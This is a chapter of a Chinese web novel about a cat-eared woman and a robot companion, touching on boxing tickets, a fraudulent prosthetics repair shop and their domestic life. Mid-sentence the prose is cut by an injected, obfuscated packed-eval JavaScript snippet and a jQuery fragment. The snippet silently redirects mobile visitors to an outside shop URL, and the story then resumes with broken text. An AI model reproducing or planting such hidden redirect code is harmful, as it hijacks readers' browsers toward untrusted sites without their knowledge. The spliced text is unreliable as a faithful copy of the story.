方晨静没多想,回答他:“冬夏送我的,很久以前送的了,放在我家抽屉里都积灰了。”
冬夏怎么会有这个东西,八成是从哥哥那拿的。梓桐问:“何志鑫知道她给你门票这件事吗?”
方晨静想了想,摇摇头,“可能不知道吧,那段时间我经常去医院看她,那天正好何志鑫在上班,她就把门票给我了,说到时候她会和哥哥一起去,希望我到时候有时间能去就不会太无聊。不知道她后面会不会告诉她哥。”
过太久她都忘记这件事了,经他俩说了才想起来。
方晨静问:“你们的门票是谁给的?”
“拳赛选手给的,也是孟乐的爸爸。”梓桐说,“上次小乐腿受伤我不放心就去教室看顾他,直到他父亲来,给了我们两张门票答谢。”
想起那天因为飞行器玩具摔坏了而哭鼻子的小男孩,方晨静微微张开嘴半晌才开口:“没想到小乐的父亲居然是拳手。”
“而且他还在凌玉工作的诊所修复过机械臂,也算是常客了。”
“那你俩是决定要去看了?”
梓桐和凌玉同时点头:“嗯。”
“那我也去,到时候咱们一起去吧,回来再一块去吃饭。”
梓桐点了点头答应下来。
等方晨静走后,梓桐察觉到凌玉表情凝重,很不对劲。
明白他的顾虑,于是走过去说:“我也知道5号馆场的看票很难拿到,但是以何志鑫在研究院的地位,要拿到并不难,这场拳赛出资方里有X集团,并且占据重要位置,它相当于是A城市的代表。所以何志鑫有多的门票就更不值得稀奇了。”
凌玉沉思片刻,最终否定掉内心不好的猜想,看着梓桐嗯了一声。
趁着课间休息,梓桐把悠梦叫到办公室里,亲手将修理好的机械手给她戴上。
悠梦仰着小脸,露出纯真的笑容,“谢谢梓桐老师。”
梓桐蹲下身来,揉了揉她的脑袋,“不客气,”她往后面的办公桌看了一眼,“主要还是凌玉老师的功劳。”
悠梦歪头好奇地问:“凌玉老师也会修义肢吗?”
“嗯,他是专业的。”
小女孩的眼睛亮起来,好似有繁星点点,由衷夸赞道:“好厉害呀,老师比维修点的叔叔还要厉害。”
她咬住下唇纠结一阵,小脸苦闷,“爸爸带我去维修店看过很多次,都是好了几天,一个星期左右又会坏掉,然后爸爸再带我去,因为我的原因,爸爸已经花了很多钱了。”
梓桐微微一愣,这种情况并不陌生。
以前当学徒的时候见到过,那次是因为义体维修店的老板黑心肠。
专业技术不行,为了让义肢功能恢复好收取修理费,使用会导致义肢报废的方法,类似于宠物店出售有病的猫狗,在他们身体里注射亢奋药物,能保持短时间内精神活泼的状态,之后会逐渐虚弱,直到死去。
黑心老板在义体内安装控制模块,因为他的这一操作,导致义肢后期彻底报废,甚至转卖都没卖出正常价格。
后来见得多了,也听说过其他情况,在义肢内动手脚安装不定时故障的神经控制系统,客人常来维修,老板就能多赚钱。
看着眼前懵懂无知的小孩,想必她的家长对这方面也不懂,所以才会一味信任维修店老板的说辞。
梓桐抚摸她的小脸,“悠梦,以后再出现义肢故障的问题就交给我吧,就算我不会,还有凌玉老师呢,他很厉害的。”
“嗯嗯!谢谢老师!”悠梦笑起来,用力点了点头。
市面上的义体多则上百万,少则十几万,对于家境一般的人本就用不起,在黑市买别人用剩下的,定期维修时还可能遭到黑心老板的欺骗,逃不开被骗钱。
造成这种情况的原因,归根到底还是市面上的义体太贵了。
X集团的产品不但价格昂贵,甚至公司打压同行的发展,命令A城市其他公司不得“恶意低价销售”义肢产品,在机器人制造领域更是直接垄断,不允许其他公司挤入这一赛道。
黑市上的机器人也不见得比他们的产品差,但如果被发现买来私用,不光购买者要受到处罚,组装生产机器人的卖家甚至有生命危险。
“在想什么呢?”梓桐的耳朵被碰了一下,抬头就看见凌玉端着一盘水灵灵的瓜果坐到了她的身边。
梓桐没打算隐瞒,拿起一瓣哈密瓜放在嘴边啃,一边说:“我在想,X集团太不干人事了,你以前在那里干不下去是对的,换做是我早辞职不干了。”
四周顿时安静下来,凌玉默默放下盘子,幽幽地开口:“你从哪里听说我辞职的事?”
他上次只是说过出车祸去世,再次睁开眼就是院里的研究对象。哪有提到过做人时候的事,更别说辞职了。
那是她从陈秉宁那听来的。
梓桐怔愣在沙发上,嘴里还有哈密瓜清甜的果肉,含糊回应道:“……你上次没说么,我怎么记得你好像提过一些,要不可能是我记岔了吧。”
旁边男人沉默许久,才将信将疑地嗯了下。梓桐松了一口气。
两人坐在一起看电视,盘子里的瓜他却一个也不碰。
不知为何,凌玉总执着于让她多吃些水果,不像零食那样有很大的欲望,水果对她来说可吃可不吃。
每次去超市采购凌玉都会带水果回来,却很少买零食给她。
“你不吃点吗?”梓桐偏头,他正聚精会神地盯着电视看,白光打在轮廓清晰的脸上,显得这人的五官完美又立体。
还是像以前一样爱看这种偶像剧,平时这张清冷的脸不苟言笑,完全看不出他好这口。
谁知他竟然是个恋爱脑,对这用狗血剧很喜欢。梓桐不禁动了动头顶的猫耳,捂住嘴偷笑。
“我不爱吃甜食。”清冷男人淡淡地说。
“为什么不吃甜食,你以前做人的时候也很讨厌吃甜的吗?”
前段时间凌玉还没有辞掉诊所的工作,梓桐逛街回来专门给他带了杯奶茶,放在冰箱里冷藏,她选的是不另外加糖的,是她最喜欢的一款。
兴致勃勃地拿给凌玉,当时只想着跟喜欢的人分享美食,没发现他表情不对劲,凌玉喝的时候并没什么异常。
好像跟喝水似的,没过五分钟就见底了。还以为他喜欢,准备以后再给他带。
回卧室后没隔多久,她想出去上厕所,走到卫生间门口,发现凌玉正在刷牙。
当天夜里梓桐听见他在卫生间干呕。
她以为机器人不能喝奶茶,怀疑给他喝出毛病了,焦急万分,掩饰不住全写在脸上。
经过凌玉主动解释后,她才知他不爱吃甜的,更
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688274|203537||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
确切点是一吃甜食就想吐。
甚至后来被改造成机器人,这一应激反应都没改变。
回想一下她做猫时和他住在一起,他做的每一样菜都不会有甜味。
现在常做的糖醋鱼、红烧排骨之类的偏甜口的菜从来没在他以前的餐桌上出现过,厨房可能压根没买能当调味品的白砂糖。
对面听见她的问题,没有立刻回答,而是侧过头看了她一会,经过一番思考后垂下眼。
“小时候吃过一种腥甜油腻又太过滚烫的东西,味道一直忘不掉,所以后来吃甜食总会记起它。”
听他的形容,梓桐默默放下了手里啃到一半的哈密瓜。
究竟是什么东西居然让他如此抗拒,以至于对甜食的恐惧已经刻入DNA了。
凌玉察觉到她的举动,主动安慰她:“你吃吧,那东西我都不知道叫什么,但肯定跟好吃的哈密瓜没关系。”
梓桐捧着瓜没吃,眼睛一眨不眨地盯着他的脸,“既然这么难吃怎么不吐出来?”
如此难吃的东西为什么喂给孩子吃?
意识到味道不好,如果第一口的时候吐出来,应该不会对他造成现在的阴影吧?
凌玉轻描淡写道:“长辈给的不好意思不吃。”
真的是这么简单吗?
仅半秒的破绽还是被梓桐捕捉到了,那双漂亮眼睛里的落寞分外惹人怜惜。
梓桐扭头看向前方的电视机屏幕,继续啃瓜,嘴边沾上哈密瓜的汁水也没察觉到,“现在不想说也没什么,等你愿意说了,我随时都高兴听你说。”
话音刚落,明显感到一道实质的视线射在她的侧脸上,梓桐没敢去看。
她很少说这么肉麻的话,刚才说的话莫名让她不好意思面对他。
周围黑漆漆的,只有四方的屏幕在面前忽明忽暗,此刻忽然响起一声短促的笑,很轻一声她却听得格外清晰。
因为脸皮薄不好意思,她只能埋头欢快地啃着瓜,不知不觉已经啃了五六个瓜皮堆在茶几上。
面前的电视忽然暗了一下,仿佛列车进入隧道,但是对于夜视能力很强的她来说面前的一切都清晰可见。
她看见一只手挑了被她啃得最干净的一块瓜皮。
目光控制不住顺着那块瓜皮看向手的主人,亲眼看着他仔细地把挨着瓜皮的一层白色过度层给啃了。
梓桐整个人呆滞了,甚至等他啃完了才反应过来,去阻止他。
“你干什么啊?”梓桐赶忙捉住他的手腕,防止他去拿第二块瓜皮。
“我干什么了?我也想吃瓜,难道只有你能吃,我不能吃吗?”凌玉一脸无辜,声音带着点委屈的意思,反问她。
梓桐转手给他拿了块没被啃过的、完整的哈密瓜,“其实这个瓜不怎么甜,你好好吃正经的水果吧,别盯着我啃剩下的吃,别人看见了还以为我虐待你呢。”
她心里一点没有害羞的心思,只是觉得他这样守着自己啃出的瓜皮,挑选来吃,让她看得震惊又......心疼。
“可是我就爱吃白色那层。”说着就看见他用另一只手拿了一块她啃剩下的瓜皮。
劝不过他,只能看着他可怜兮兮地啃吃剩的瓜皮,梓桐在心里默默发誓,明天一定要去挑一些果皮厚的瓜回来,然后专门把挨着皮的白瓤给凌玉切出来。